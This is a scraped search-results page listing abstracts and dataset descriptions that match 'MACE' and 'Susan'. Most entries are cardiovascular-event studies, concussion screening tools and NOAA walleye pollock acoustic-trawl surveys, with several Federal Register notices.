focus on that which is meaningful and relevant in children's lives and their learning, to an… 15. The Need for a Revised Joint Personnel Accounting Doctrine Science.gov (United States) 2011-05-22 recoveries to field operations for the 11 David R. Graham, Ashley N. Bybee , Susan L. Clark-Sestak, and...Naval War College, 2009), XI-43. 16 David R. Graham, Ashley N. Bybee , Susan L. Clark-Sestak, and Michal S. Finnin, Assessment of DOD Central...Division, 8 June 2005. Graham, David R., Ashley N. Bybee , Susan L. Clark-Sestak, and Michal S. Finnin. Assessment of DOD Central 16. 78 FR 29200 - Advisory Committee for the Study of Eastern Europe and the Independent States of the Former... Science.gov (United States) 2013-05-17 ... advanced graduate training, language training, and postdoctoral research. The committee includes...: April 19, 2013. Susan H. Nelson, Executive Director, Advisory Committee for Study of Eastern Europe and... 17. 76 FR 65500 - Fisheries of the Exclusive Economic Zone Off Alaska; Recordkeeping and Reporting Requirements... Science.gov (United States) 2011-10-21 .../seattlelakeunion/location.php . FOR FURTHER INFORMATION CONTACT: Susan Hall, 907-586-7462. SUPPLEMENTARY... workshops will be physically accessible to people with disabilities. Requests for sign language... 18. 77 FR 24491 - Change in Bank Control Notices; Acquisitions of Shares of a Bank or Bank Holding Company Science.gov (United States) 2012-04-24 ... Smyrna, Tennessee; James A. Campbell, Nashville, Tennessee; William Kent Coleman, Murfreesboro, Tennessee... River Hills, Wisconsin; David J. Lubar, Fox Point, Wisconsin; Susan Lubar Solvang, and Joan P. Lubar... 19. Hemorheological and Glycemic Parameters and HDL Cholesterol for the Prediction of Cardiovascular Events International Nuclear Information System (INIS) Cho, Sung Woo; Kim, Byung Gyu; Kim, Byung Ok; Byun, Young Sup; Goh, Choong Won; Rhee, Kun Joo; Kwon, Hyuck Moon; Lee, Byoung Kwon 2016-01-01 Hemorheological and glycemic parameters and high density lipoprotein (HDL) cholesterol are used as biomarkers of atherosclerosis and thrombosis. To investigate the association and clinical relevance of erythrocyte sedimentation rate (ESR), fibrinogen, fasting glucose, glycated hemoglobin (HbA1c), and HDL cholesterol in the prediction of major adverse cardiovascular events (MACE) and coronary heart disease (CHD) in an outpatient population. 708 stable patients who visited the outpatient department were enrolled and followed for a mean period of 28.5 months. Patients were divided into two groups, patients without MACE and patients with MACE, which included cardiac death, acute myocardial infarction, newly diagnosed CHD, and cerebral vascular accident. We compared hemorheological and glycemic parameters and lipid profiles between the groups. Patients with MACE had significantly higher ESR, fibrinogen, fasting glucose, and HbA1c, while lower HDL cholesterol compared with patients without MACE. High ESR and fibrinogen and low HDL cholesterol significantly increased the risk of MACE in multivariate regression analysis. In patients with MACE, high fibrinogen and HbA1c levels increased the risk of multivessel CHD. Furthermore, ESR and fibrinogen were significantly positively correlated with HbA1c and negatively correlated with HDL cholesterol, however not correlated with fasting glucose. Hemorheological abnormalities, poor glycemic control, and low HDL cholesterol are correlated with each other and could serve as simple and useful surrogate markers and predictors for MACE and CHD in outpatients 20. Hemorheological and Glycemic Parameters and HDL Cholesterol for the Prediction of Cardiovascular Events Energy Technology Data Exchange (ETDEWEB) Cho, Sung Woo [Division of Cardiology - Department of Internal Medicine - Sanggye Paik Hospital, Inje University College of Medicine, Seoul (Korea, Republic of); Division of Cardiology - Department of Medicine - Samsung Medical Center, Seoul (Korea, Republic of); Kim, Byung Gyu; Kim, Byung Ok; Byun, Young Sup; Goh, Choong Won; Rhee, Kun Joo [Division of Cardiology - Department of Internal Medicine - Sanggye Paik Hospital, Inje University College of Medicine, Seoul (Korea, Republic of); Kwon, Hyuck Moon; Lee, Byoung Kwon, E-mail: [email protected] [Division of Cardiology - Department of Internal Medicine - Gangnam Severance Hospital - Yonsei University College of Medicine, Seoul (Korea, Republic of) 2016-01-15 Hemorheological and glycemic parameters and high density lipoprotein (HDL) cholesterol are used as biomarkers of atherosclerosis and thrombosis. To investigate the association and clinical relevance of erythrocyte sedimentation rate (ESR), fibrinogen, fasting glucose, glycated hemoglobin (HbA1c), and HDL cholesterol in the prediction of major adverse cardiovascular events (MACE) and coronary heart disease (CHD) in an outpatient population. 708 stable patients who visited the outpatient department were enrolled and followed for a mean period of 28.5 months. Patients were divided into two groups, patients without MACE and patients with MACE, which included cardiac death, acute myocardial infarction, newly diagnosed CHD, and cerebral vascular accident. We compared hemorheological and glycemic parameters and lipid profiles between the groups. Patients with MACE had significantly higher ESR, fibrinogen, fasting glucose, and HbA1c, while lower HDL cholesterol compared with patients without MACE. High ESR and fibrinogen and low HDL cholesterol significantly increased the risk of MACE in multivariate regression analysis. In patients with MACE, high fibrinogen and HbA1c levels increased the risk of multivessel CHD. Furthermore, ESR and fibrinogen were significantly positively correlated with HbA1c and negatively correlated with HDL cholesterol, however not correlated with fasting glucose. Hemorheological abnormalities, poor glycemic control, and low HDL cholesterol are correlated with each other and could serve as simple and useful surrogate markers and predictors for MACE and CHD in outpatients. 1. Narmer, Scorpion and the representation of the early Egyptian court NARCIS (Netherlands) Kelder, J.M. 2013-01-01 Numerous academic and popular articles have been published on the Narmer Palette, the Narmer Mace-head and the Scorpion Mace-head, arguably three of the most iconic early Egyptian monuments. It is generally recognized that these three objects are the climax of a centuries-old tradition of 2. Increased long-term risk of major adverse cardiovascular events in patients with carbon monoxide poisoning: A population-based study in Taiwan. Directory of Open Access Journals (Sweden) Chung-Shun Wong Full Text Available Carbon monoxide (CO poisoning may cause toxicity to the cardiovascular system. However, the association between CO poisoning and the risk of major adverse cardiovascular events (MACE remains unestablished. We investigated the incidence of MACE after CO poisoning in Taiwan and evaluated whether CO-poisoned individuals had a higher risk of MACE than did the general population.Using Taiwan's National Health Insurance Research Database (NHIRD during 2005-2013, a nationwide population-based cohort study was conducted among patients who experienced CO poisoning between 2005 and 2013. CO poisoning was defined according to the International Classification of Diseases, Ninth Revision, Clinical Modification codes. The study cohort comprised patients with CO poisoning between 2005 and 2010 (N = 13,939. Each patient was matched according to age, sex and index date with four randomly selected controls from the comparison cohort (N = 55,756. All patients were followed from the study date until MACE development, death, or the end of 2013. The hazard ratios for MACE were compared between the two cohorts by using Cox proportional hazards regressions analyses.Incident cases of MACE were identified from the NHIRD. After adjustment for potential confounders, the study cohort was independently associated with a higher MACE risk (adjusted hazard ratio, 2.00; 95% confidence interval, 1.83-2.18.This population-based cohort study indicated that patients with CO poisoning have a higher risk of MACE than do individuals without CO poisoning. 3. Download this PDF file African Journals Online (AJOL) Owner by an emblem and a flag as a creditable sovereign institution. On 25th July, 2009 UMaT introduced its first ceremo- nial mace to be experienced at its first's congregation. This paper brings to the fore the concepts and philosophical dimensions of the emblem, flag and ceremonial mace as unique symbols of UMaT's erudition, ... 4. A Combined Comparative Transcriptomic, Metabolomic, and Anatomical Analyses of Two Key Domestication Traits: Pod Dehiscence and Seed Dormancy in Pea (Pisum sp. Directory of Open Access Journals (Sweden) Petr Smýkal 2017-04-01 Full Text Available The origin of the agriculture was one of the turning points in human history, and a central part of this was the evolution of new plant forms, domesticated crops. Seed dispersal and germination are two key traits which have been selected to facilitate cultivation and harvesting of crops. The objective of this study was to analyze anatomical structure of seed coat and pod, identify metabolic compounds associated with water-impermeable seed coat and differentially expressed genes involved in pea seed dormancy and pod dehiscence. Comparative anatomical, metabolomics, and transcriptomic analyses were carried out on wild dormant, dehiscent Pisum elatius (JI64, VIR320 and cultivated, indehiscent Pisum sativum non-dormant (JI92, Cameor and recombinant inbred lines (RILs. Considerable differences were found in texture of testa surface, length of macrosclereids, and seed coat thickness. Histochemical and biochemical analyses indicated genotype related variation in composition and heterogeneity of seed coat cell walls within macrosclereids. Liquid chromatography–electrospray ionization/mass spectrometry and Laser desorption/ionization–mass spectrometry of separated seed coats revealed significantly higher contents of proanthocyanidins (dimer and trimer of gallocatechin, quercetin, and myricetin rhamnosides and hydroxylated fatty acids in dormant compared to non-dormant genotypes. Bulk Segregant Analysis coupled to high throughput RNA sequencing resulted in identification of 770 and 148 differentially expressed genes between dormant and non-dormant seeds or dehiscent and indehiscent pods, respectively. The expression of 14 selected dormancy-related genes was studied by qRT-PCR. Of these, expression pattern of four genes: porin (MACE-S082, peroxisomal membrane PEX14-like protein (MACE-S108, 4-coumarate CoA ligase (MACE-S131, and UDP-glucosyl transferase (MACE-S139 was in agreement in all four genotypes with Massive analysis of cDNA Ends (MACE data. In 5. Role of Low Endothelial Shear Stress and Plaque Characteristics in the Prediction of Nonculprit Major Adverse Cardiac Events: The PROSPECT Study. Science.gov (United States) Stone, Peter H; Maehara, Akiko; Coskun, Ahmet Umit; Maynard, Charles C; Zaromytidou, Marina; Siasos, Gerasimos; Andreou, Ioannis; Fotiadis, Dimitris; Stefanou, Kostas; Papafaklis, Michail; Michalis, Lampros; Lansky, Alexandra J; Mintz, Gary S; Serruys, Patrick W; Feldman, Charles L; Stone, Gregg W 2018-03-01 This study sought to determine whether low endothelial shear stress (ESS) adds independent prognostication for future major adverse cardiac events (MACE) in coronary lesions in patients with high-risk acute coronary syndrome (ACS) from the United States and Europe. Low ESS is a proinflammatory, proatherogenic stimulus associated with coronary plaque development, progression, and destabilization in human-like animal models and in humans. Previous natural history studies including baseline ESS characterization investigated low-risk patients. In the PROSPECT (Providing Regional Observations to Study Predictors of Events in the Coronary Tree) study, 697 patients with ACS underwent 3-vessel intracoronary imaging. Independent predictors of MACE attributable to untreated nonculprit (nc) coronary lesions during 3.4-year follow-up were large plaque burden (PB), small minimum lumen area (MLA), and thin-cap fibroatheroma (TCFA) morphology. In this analysis, baseline ESS of nc lesions leading to new MACE (nc-MACE lesions) and randomly selected control nc lesions without MACE (nc-non-MACE lesions) were calculated. A propensity score for ESS was constructed for each lesion, and the relationship between ESS and subsequent nc-MACE was examined. A total of 145 lesions were analyzed in 97 patients: 23 nc-MACE lesions (13 TCFAs, 10 thick-cap fibroatheromas [ThCFAs]), and 122 nc-non-MACE lesions (63 TCFAs, 59 ThCFAs). Low local ESS (<1.3 Pa) was strongly associated with subsequent nc-MACE compared with physiological/high ESS (≥1.3 Pa) (23 of 101 [22.8%]) versus (0 of 44 [0%]). In propensity-adjusted Cox regression, low ESS was strongly associated with MACE (hazard ratio: 4.34; 95% confidence interval: 1.89 to 10.00; p < 0.001). Categorizing plaques by anatomic risk (high risk: ≥2 high-risk characteristics PB ≥70%, MLA ≤4 mm 2 , or TCFA), high anatomic risk, and low ESS were prognostically synergistic: 3-year nc-MACE rates were 52.1% versus 14.4% versus 0.0% in high 6. Comparing rat and rabbit embryo-fetal developmental toxicity data for 379 pharmaceuticals: on systemic dose and developmental effects NARCIS (Netherlands) Peter T. Theunissen; Bruce Beyer; Sonia Beken 2016-01-01 And co-authors William J. Breslin, Gregg D. Cappon, Connie L. Chen, Gary Chmielewski, Luc de Schaepdrijver, Brian Enright, Jennifer E. Foreman, Wafa Harrouk, Kok-Wah Hew, Alan M. Hoberman, Julia Y. Hui, Thomas B. Knudsen, Susan B. Laffan, Susan L. Makris, Matthew Martin, Mary Ellen McNerney, 7. Big Data for Education: Data Mining, Data Analytics, and Web Dashboards. Governance Studies at Brookings Science.gov (United States) West, Darrell M. 2012-01-01 Twelve-year-old Susan took a course designed to improve her reading skills. She read short stories and the teacher would give her and her fellow students a written test every other week measuring vocabulary and reading comprehension. A few days later, Susan's instructor graded the paper and returned her exam. The test showed that she did well on… 8. Sadhana \| Indian Academy of Sciences Indian Academy of Sciences (India) Home; Journals; Sadhana. SEBA SUSAN. Articles written in Sadhana. Volume 41 Issue 12 December 2016 pp 1393-1406. Image coding based on maximum entropy partitioning for identifying improbable intensities related to facial expressions · SEBA SUSAN NANDINI AGGARWAL SHEFALI CHAND AYUSH GUPTA. 9. 78 FR 16472 - Deposit of Biological Materials Science.gov (United States) 2013-03-15 ... comment'' in the subject line of the message. Mail: Susan K. Fawcett, Records Officer, Office of the Chief... by FedEx Domestic Overnight'' is estimated to be$75. If the shipment requires pick-up by FedEx... responses. Dated: March 12, 2013. Susan K. Fawcett, Records Officer, USPTO, Office of the Chief Information... 10. 77 FR 31719 - Grading and Inspection, General Specifications for Approved Plants and Standards for Grades of... Science.gov (United States) 2012-05-30 .... DATES: Effective: June 29, 2012. FOR FURTHER INFORMATION CONTACT: Susan Sausville, Chief, Standardization Branch, Dairy Programs, AMS, USDA, telephone (202) 720- 9382 or email Susan[email protected] before being picked up; however, if the person making the test is unable to get to the farm before the... 11. Army Cyber Mission Force - Ambitions and Realities Science.gov (United States) 2015-05-21 London: A & C Black, 2006), 219. 3 Ibid., 227. 4 Susan Pines, Veda Dickerson, and Lori Cates, eds., ONET Dictionary of Occupational Titles, 2nd ed...Pines, Susan, Veda Dickerson, and Lori Cates. "Experience." In ONET Dictionary of Occupational Titles 12. A Comparison of HAART Outcomes between the US Military HIV Natural History Study (NHS) and HIV Atlanta Veterans Affairs Cohort Study (HAVACS) Science.gov (United States) 2013-05-01 Acknowledgments The IDCRP HIV Working Group includes: Susan Banks, RN, CAPT Mary Bavaro, MD, Ionut Bebu, PhD, Helen Chun, MD, Nancy Crum- Cianflone, MD, MPH...Cathy Decker, MD, Conner Eggleston, LTC Tomas Ferguson, MD, COL Susan Fraser, MD, MAJ Joshua Hartzell, MD, MAJ Joshua Hawley, MD, LTC Gunther Hsue, MD 13. 76 FR 77206 - Citric Acid and Certain Citrate Salts From the People's Republic of China: Final Results of... Science.gov (United States) 2011-12-12 ... Memorandum to Susan H. Kuhbach, Office Director, AD/CVD Operations, Office 1, from David Layton..., 2011. \\3\\ See Memorandum to Susan H. Kuhbach, Office Director, AD/CVD Operations, Office 1, from Austin... provision of sulfuric acid for less than adequate remuneration (LTAR'') for both RZBC and Yixing, and... 14. 04 Brittan pp 55-77 African Journals Online (AJOL) Tienie Brink claims that censorship turns the writer into a “physio- logist” who must ..... her personal awakening in terms that may remind us of Susan du Toit. Like Susan, she is ... language. Once the image of Ben and Melanie is captured on film, it. 15. The Development of the C3 Framework Science.gov (United States) Social Education, 2013 2013-01-01 Susan Griffin, executive director of NCSS, was chair of the Task Force of Professional Organizations that initiated and guided the development of "The College, Career, and Civic Life (C3) Framework for Social Studies State Standards", which will soon be released. In this interview with "Social Education", Susan explains how the… 16. The Utility of the Mini-Addenbrooke's Cognitive Examination as a Screen for Cognitive Impairment in Elderly Patients with Chronic Kidney Disease and Diabetes. Science.gov (United States) Hobson, Peter; Rohoma, Kamel H; Wong, Stephen P; Kumwenda, Mick J 2016-01-01 We tested the utility of the Mini-Addenbrooke's Cognitive Examination (M-ACE) in a cohort of older adults with chronic kidney disease (CKD) and diabetes. The M-ACE was administered to 112 CKD and diabetes patients attending a nephrology clinic. Cognitive impairment was based upon patient, informant, and case review, neuropsychological assessment, and application of criteria for mild cognitive impairment (MCI) and the Diagnostic and Statistical Manual of Mental Disorders, fifth edition for dementia. The M-ACE was also compared to the Mini-Mental State Examination (MMSE). Upon assessment, 52 patients had normal cognitive function, 33 had MCI, and 27 had dementia. The area under the receiver operating curve for the M-ACE was 0.96 (95% CI 0.95-1.00). The sensitivity and specificity for a dementia diagnosis were 0.96 and 0.84 at the cut point <25 and 0.70 and 1.00 at the cut point <21. Mean M-ACE scores differed significantly between normal, demented, and MCI groups ( p < 0.001), and compared to the MMSE, the M-ACE did not suffer from ceiling effects. The M-ACE is an easily administered test with good sensitivity and specificity to capture and assist in the diagnosis of MCI or dementia in patients with CKD and diabetes. 17. A 9-Year-Old Girl Discovers That Her Mother Was Murdered. Science.gov (United States) Schonfeld, David J; Shekunov, Julia; Jellinek, Michael; Stein, Martin T 18. Cardiovascular disease: Risk factors and applicability of a risk model in a Greek cohort of renal transplant recipients. Science.gov (United States) Anastasopoulos, Nikolaos-Andreas; Dounousi, Evangelia; Papachristou, Evangelos; Pappas, Charalampos; Leontaridou, Eleni; Savvidaki, Eirini; Goumenos, Dimitrios; Mitsis, Michael 2017-02-24 To investigate the incidence and the determinants of cardiovascular morbidity in Greek renal transplant recipients (RTRs) expressed as major advance cardiac event (MACE) rate. Two hundred and forty-two adult patients with a functioning graft for at least three months and available data that were followed up on the August 31, 2015 at two transplant centers of Western Greece were included in this study. Baseline recipients' data elements included demographics, clinical characteristics, history of comorbid conditions and laboratory parameters. Follow-up data regarding MACE occurrence were collected retrospectively from the patients' records and MACE risk score was calculated for each patient. The mean age was 53 years (63.6% males) and 47 patients (19.4%) had a pre-existing cardiovascular disease (CVD) before transplantation. The mean estimated glomerular filtration rate was 52 ± 17 mL/min per 1.73 m 2 . During follow-up 36 patients (14.9%) suffered a MACE with a median time to MACE 5 years (interquartile range: 2.2-10 years). Recipients with a MACE compared to recipients without a MACE had a significantly higher mean age (59 years vs 52 years, P Greek database of RTRs was good with an area under the receiver operating characteristics curve of 0.68 (95%CI: 0.58-0.78). In this Greek cohort of RTRs, MACE occurred in 14.9% of the patients, pre-existing CVD was the main risk factor, while MACE risk model was proved a dependable utility in predicting CVD post RT. 19. Utility of the Military Acute Concussion Evaluation as a screening tool for mild traumatic brain injury in a civilian trauma population. Science.gov (United States) Stone, Melvin E; Safadjou, Saman; Farber, Benjamin; Velazco, Nerissa; Man, Jianliang; Reddy, Srinivas H; Todor, Roxanne; Teperman, Sheldon 2015-07-01 Mild traumatic brain injury (mTBI) constitutes 75% of more than 1.5 million traumatic brain injuries annually. There exists no consensus on point-of-care screening for mTBI. The Military Acute Concussion Evaluation (MACE) is a quick and easy test used by the US Army to screen for mTBI; however, its utility in civilian trauma is unclear. It has two parts: a history section and the Standardized Assessment of Concussion (SAC) score (0-30) previously validated in sports injury. As a performance improvement project, our institution sought to evaluate the MACE as a concussion screening tool that could be used by housestaff in a general civilian trauma population. From June 2013 to May 2014, patients 18 years to 65 years old with suspected concussion were given the MACE within 72 hours of admission to our urban Level I trauma center. Patients with a positive head computed tomography were excluded. Demographic data and MACE scores were recorded in prospect. Concussion was defined as loss of consciousness and/or posttraumatic amnesia; concussed patients were compared with those nonconcussed. Sensitivity and specificity for each respective MACE score were used to plot a receiver operating characteristic (ROC) curve. An ROC curve area of 0.8 was set as the benchmark for a good screening test to distinguish concussion from nonconcussion. There were 84 concussions and 30 nonconcussed patients. Both groups were similar; however, the concussion group had a lower mean MACE score than the nonconcussed patients. Data analysis demonstrated the sensitivity and specificity of a range of MACE scores used to generate an ROC curve area of only 0.65. The MACE showed a lower mean score for individuals with concussion, defined by loss of consciousness and/or posttraumatic amnesia. However, the ROC curve area of 0.65 highly suggests that MACE alone would be a poor screening test for mTBI in a general civilian trauma population. Diagnostic study, level II. 20. Thermochemical Erosion Modeling of the 25-MM M242/M791 Gun System National Research Council Canada - National Science Library Sopok, Samuel 1997-01-01 The MACE gun barrel thermochemical erosion modeling code addresses wall degradations due to transformations, chemical reactions, and cracking coupled with pure mechanical erosion for the 25-mm M242/M791 gun system... 1. Myristica oil poisoning Science.gov (United States) Nutmeg oil; Myristicin ... Myristica oil ( Myristica fragrans ) can be harmful. It comes from the seed of a nutmeg. ... Myristica oil is found in: Aromatherapy products Mace Nutmeg Other products may also contain myristica oil. 2. Source Array Support for Continuous Monitoring of Fish Population and Behavior by Instantaneous Continental-Shelf-Scale Imaging Using Ocean-Waveguide Acoustics National Research Council Canada - National Science Library Rynne, Ed; Gillette, David 2006-01-01 ...) Multistatic ASW Capability Enhancement Program (MACE) as the source of underwater sounds to support active bi-static sonar capabilities for monitoring fish populations and behaviors during a September/October 2006 sea test off the coast of Maine... 3. Gulf of Alaska Acoustic-Trawl Surveys of Walleye Pollock (DY1201, EK60) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 4. Acoustic-Trawl Survey of Walleye Pollock on the U.S. and Russian Bering Sea Shelf (DY1006, EK60) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 5. Acoustic-Trawl Survey of Walleye Pollock in the Southeastern Aleutian Basin near Bogoslof Island (DY0903, EK60) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 6. Acoustic-Trawl Survey of Walleye Pollock in the Gulf of Alaska (DY1503, EK60) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 7. Shelikof Strait Acoustic-Trawl Survey of Walleye Pollock (DY1002, ME70) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of the Alaska Fisheries Science Center (AFSC; NOAA National Marine Fisheries Service) conducted... 8. Shumagin Islands Acoustic-Trawl Survey of Walleye Pollock (DY1302, ME70) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA's National Marine Fisheries Service, Alaska Fisheries Science Center (AFSC), conducted an... 9. Acoustic-Trawl Survey of Walleye Pollock in the Eastern Bering Sea (DY1608, EK60) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 10. Southeastern Aleutian Basin (Bogoslof Island) Acoustic-Trawl Survey of Walleye Pollock (DY1202, EK60) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 11. Gulf of Alaska Acoustic-Trawl Survey of Walleye Pollock (DY1506, EK60) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 12. Acoustic-Trawl Survey of Walleye Pollock in the Gulf of Alaska (DY1604, EK60) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 13. Shumagin Islands Acoustic-Trawl Survey of Walleye Pollock (DY1001, ME70) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of the Alaska Fisheries Science Center (AFSC; NOAA National Marine Fisheries Service) conducted... 14. Shelikof Strait Acoustic-Trawl Survey of Walleye Pollock (DY1203, ME70) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of the Alaska Fisheries Science Center (AFSC) conducted an acoustic-trawl (AT) stock assessment... 15. Gulf of Alaska Acoustic-Trawl Survey of Walleye Pollock (DY1506, ME70) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 16. Gulf of Alaska Acoustic-Trawl Surveys of Walleye Pollock (DY1001, EK60) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 17. Shumagin Islands Acoustic-Trawl Survey of Walleye Pollock (DY1201, ME70) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of the Alaska Fisheries Science Center (AFSC) conducted an acoustic-trawl (AT) stock assessment... 18. Acoustic-Trawl Survey of Walleye Pollock on the U.S. and Russian Bering Sea Shelf (DY1207, EK60) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 19. Gulf of Alaska Acoustic-Trawl Survey of Walleye Pollock (DY1403, EK60) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 20. Gulf of Alaska Acoustic-Trawl Survey of Walleye Pollock (DY1401, EK60) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 1. Gulf of Alaska Acoustic-Trawl Surveys of Walleye Pollock (DY1203, EK60) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 2. Acoustic-Trawl Surveys of Walleye Pollock in the Central Gulf of Alaska (DY0904, EK60) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 3. Gulf of Alaska Acoustic-Trawl Survey of Walleye Pollock (DY1303, EK60) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 4. Gulf of Alaska Acoustic-Trawl Survey of Walleye Pollock (DY1307, EK60) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 5. Shelikof Strait Acoustic-Trawl Survey of Walleye Pollock (DY1303, ME70) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA's National Marine Fisheries Service, Alaska Fisheries Science Center (AFSC) conducted an... 6. Assessment of Rockfish Species in Untrawlable Habitat in the Gulf of Alaska (DY0912, EK60) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 7. 2015 Pollock Acoustic/Trawl Survey Gulf of Alaska EK60 Raw Data Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — Scientists from the Midwater Assessment and Conservation Engineering (MACE) Program of the Alaska Fisheries Science Center's (AFSC) Resource Assessment and... 8. Gulf of Alaska Acoustic-Trawl Survey of Walleye Pollock (DY1302, EK60) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 9. Southeastern Aleutian Basin (Bogoslof Island) Acoustic-Trawl Survey of Walleye Pollock (DY1603, EK60) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 10. Acoustic-Trawl Survey of Walleye Pollock in the Gulf of Alaska (OD0501, EK60) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 11. Acoustic-Trawl Survey of Walleye Pollock on the U.S. and Russian Bering Sea Shelf (DY0909, EK60) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 12. Acoustic-Trawl Survey of Walleye Pollock in the Gulf of Alaska (MF0309, EK500) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 13. Acoustic-trawl (AT) survey of Walleye Pollock in the Gulf of Alaska (DY1502, EK60) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 14. Gulf of Alaska Acoustic-Trawl Survey of Walleye Pollock (DY1307, ME70) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA's National Marine Fisheries Service, Alaska Fisheries Science Center (AFSC) conducted an... 15. Southeastern Aleutian Basin (Bogoslof Island) Acoustic-Trawl Survey of Walleye Pollock (DY1402, EK60) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 16. Gulf of Alaska Acoustic-Trawl Surveys of Walleye Pollock (DY1002, EK60) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 17. Acoustic-Trawl Surveys of Walleye Pollock in the Central Gulf of Alaska (DY0904, ME70) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 18. Gulf of Alaska Acoustic-Trawl Surveys of Walleye Pollock (DY0901, ME70) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 